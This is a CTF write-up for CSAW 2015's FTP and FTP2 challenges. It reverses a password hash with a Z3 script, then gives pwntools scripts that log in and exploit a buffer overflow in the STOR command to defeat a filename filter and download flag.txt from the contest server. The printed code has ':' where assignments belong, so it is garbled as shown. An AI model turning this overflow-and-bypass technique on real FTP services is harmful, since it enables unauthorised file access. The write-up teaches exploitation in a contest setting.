CSAW CTF 2015 - FTP & FTP2
- CSAW CTF
- FTP & FTP2
Category: Reversing (FTP) & Exploitable (FTP2) Points: 300 (FTP) & 300 (FTP2)
FTP
64 bit ELF. It's a FTP-like service, we can list all the acceptable command by sending the HELP
command. Here are some important commands that we'll need to pass the challenges:
USER [username]
: enter username to login
PASS [password]
: enter password after sending the USER
command to login as the [username]
PASV
: open a port for passive mode
LIST
: list the files in the directory
STOR
: upload a file
RETR
: download a file
RDF
: read the reversing solution's flag
So after some static analysis with the help of IDA Pro, I figure out that in order to pass the reversing challenge, we'll need to login as the user blankwall
. The password checking function's at 0x401540
, let's take a look at it:
__int64 __fastcall sub_401540(__int64 a1){ int i; // [sp+10h] [bp-8h]@1 int v3; // [sp+14h] [bp-4h]@1
v3 : 5381; for ( i : 0; *(_BYTE *)(i + a1); ++i ) v3 : 33 * v3 + *(_BYTE *)(i + a1); return (unsigned int)v3;}
if (result == -746139127) // result should be 0xd386d209{ login_bit : 1; dword_604408 : 'f';}
At first I was like "Ah, that's easy!", since we have the constraint system, we can just set it up and leave the rest to Z3. But after I have the solution and enter the password, the service respond it with a frustrating "Invalid login credentials". Knowing that Hex-Rays' decompiler might have the incorrect decompiling result, I re-check the password checking logic by reversing directly from the x64 assembly, not the pseudo code, and finally found the root of the problem:
mov eax, [rbp+var_4] ; v3, with 0x1505 as the initial value
shl eax, 5
mov edx, eax ; rdx : (v3 << 5) & 0xFFFFFFFF
mov eax, [rbp+var_4] ; now rax : ((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)
lea ecx, [rdx+rax] ; ecx : (rdx + rax) & 0xFFFFFFFF
mov eax, [rbp+var_8] ; for loop counter == index
movsxd rdx, eax
mov rax, [rbp+var_18]
add rax, rdx
movzx eax, byte ptr [rax]
movsx eax, al ; eax : password[index]
add eax, ecx ;
mov [rbp+var_4], eax ; v3 : ecx + eax
What really matters is the assembly eax, [rbp+var_4]
at line 4. Notice that when the program move v3
to the register eax
, it doesn't clear the highest 32 bits of the register rax
. So when it runs to the line ecx, [rdx+rax]
, rax
isn't just simply v3 & 0xFFFFFFFF
, it's actually:
((v3 << 5) & 0xFFFFFFFF00000000) | (v3 & 0xFFFFFFFF)
and that's where the Hex-Rays decompiler made the mistake.
So now we have the correct constraint system. Wrote a Z3 python script and retrieve the password:
#!/usr/bin/env python
from z3 import *import sys
def check(size, xs): ret : BitVecVal(0x1505, 64) for i in xrange(size): eax : ret & 0xffffffff eax <<= 5 rdx : eax & 0xffffffff rax : (0xffffffff00000000 & eax) | (ret & 0xffffffff) ecx : (rdx + rax) & 0xffffffff ecx += xs[i] & 0xff ret : ecx return (ret & 0xffffffff)
def solv(size, target): s : Solver() xs : [] for i in xrange(size): x : BitVec("x%d" % i, 64) s.add( 33 <= x ) s.add( x <= 122 ) xs.append(x)
s.add(check(size, xs) == target) if s.check() == sat: m : s.model() a : "" for i in xrange(size): print m[xs[i]] else: print "unsat"
for size in xrange(1, 11): print "trying size:", size solv(size, 0xd386d209)
Since I don't know the password length, I just brute force it from 1 ~ 10. We can found a solution at length 6:
trying size: 0
unsat
trying size: 1
unsat
trying size: 2
unsat
trying size: 3
unsat
trying size: 4
unsat
trying size: 5
unsat
trying size: 6
86
41
66
119
116
88
Now we get the login password, time to capture the flag :)
#!/usr/bin/env python
from pwn import *import subprocessimport sysimport time
#HOST : "localhost"HOST : "54.175.183.202"PORT : 12012ELF_PATH : ""LIBC_PATH : ""
# setting context.arch : 'amd64'#context.arch : 'i386'#context.arch : 'arm'#context.arch : 'aarch64'context.os : 'linux'context.endian : 'little'context.word_size : 32#elf : ELF(ELF_PATH)#libc : ELF(LIBC_PATH)
def my_recvuntil(s, delim): res : "" while delim not in res: c : s.recv(1) res += c sys.stdout.write(c) sys.stdout.flush() return res
def myexec(cmd): return subprocess.check_output(cmd, shell=True)
if __name__ == "__main__":
password : [86, 41, 66, 119, 116, 88] password : ''.join(chr(c) for c in password)
r : remote(HOST, PORT) #r : process(ELF_PATH) r.recvuntil("server\n") r.sendline("USER blankwall") r.recvuntil("blankwall\n") r.send("PASS "+password) r.recvuntil("in\n") r.sendline("RDF") # read the flag
r.interactive()
The flag is: flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}
FTP2
So now we're logged in as a valid user, we can finally do some other stuff. After sending PASV
and the LIST
command, I found that there's a flag.txt
in the directory. At first I try to download the file, but the service response "Invalid character specified". Well that's strange :/ so I went to the RETR
function and start analyzing.
s : filename; //[bp - 0x30]v7 : strlen(filename); //[bp - 0x28]while ( *s != dword_604408 ){ --v7; if ( !v7 ) break; ++s;}if ( s[1] ){ result : sub_4014F8(*(_DWORD *)a1, "Invalid character specified\n");}
So...to sum it up, the program will detect whether if the filename has the character store in 0x604408
, and if it does, it will refuse to let us download the file. Remeber the function that does the password checking?
if (result == -746139127) // result should be 0xd386d209{ login_bit : 1; dword_604408 : 'f'; //LOL}
So apparently we can't have 'f'
in our filename, we'll need to find another way to bypass the filter. By checking other functions, I finally found a way to bypass it.
sub_4014F8(*(_DWORD *)a1, "transfer starting.\n");while ( 1 ){ v6 : recv(*(_DWORD *)(a1 + 4), byte_604200, 0xAuLL, 0); if ( v6 < 0 ) break; if ( !v6 ) goto LABEL_8; v5 += v6;}
sub_4014F8(*(_DWORD *)a1, "error receiving file");
LABEL_8: printf("Storing file %s", *(_QWORD *)(a1 + 24)); byte_604200[(signed __int64)(signed int)v5] : 0; // overflow vulnerability v3 : dword_604404++; LODWORD(v4) : sub_40139B(v7, v5); qword_604840[v3] : v4; sub_4014F8(*(_DWORD *)a1, "transfer complete\n"); result : sub_4023DF(a1, 4207204LL);
Here in the STOR
function, if we upload a file that is big enough, we can overwrite the data at 0x604408
. So it's quite simple: just create a file that is larger than 512 bytes, then upload it to the server. After that, we can download the flag.txt
and get the flag.
#!/usr/bin/env python
from pwn import *import subprocessimport sysimport time
#HOST : "localhost"HOST : "54.175.183.202"PORT : 12012ELF_PATH : ""LIBC_PATH : ""
# setting context.arch : 'amd64'#context.arch : 'i386'#context.arch : 'arm'#context.arch : 'aarch64'context.os : 'linux'context.endian : 'little'context.word_size : 32#elf : ELF(ELF_PATH)#libc : ELF(LIBC_PATH)
def my_recvuntil(s, delim): res : "" while delim not in res: c : s.recv(1) res += c sys.stdout.write(c) sys.stdout.flush() return res
def myexec(cmd): return subprocess.check_output(cmd, shell=True)
if __name__ == "__main__":
""" solved by z3 trying size: 6 86 41 66 119 116 88 """ password : [86, 41, 66, 119, 116, 88] password : ''.join(chr(c) for c in password)
r : remote(HOST, PORT) #r : process(ELF_PATH) r.sendlineafter("server\n", "USER blankwall") r.sendafter("blankwall\n", "PASS "+password) r.recvuntil("in\n") log.success("login success")
log.info("Sending dildo.txt...") # don't mind the filename LOL! r.sendlinethen("port: ", "PASV") pasv_port : int(r.recvline()) r.sendline("STOR dildo.txt") myexec("cat dildo.txt | nc "+HOST+" "+str(pasv_port)) r.recvuntil("complete\n") log.success("Send success!")
log.info("Downloading flag.txt...") r.sendlinethen("port: ", "PASV") pasv_port : int(r.recvline()) r.sendline("RETR flag.txt") flag : myexec("nc "+HOST+" "+str(pasv_port)) log.success("Get flag: "+flag)
The flag is: flag{exploiting_ftp_servers_in_2015}
How am I doing?
Hey! Lemme know if you found this helpful by leaving a reaction.
- x0
- x0
- x0
- x0
- x0
- x0
- x0
Loading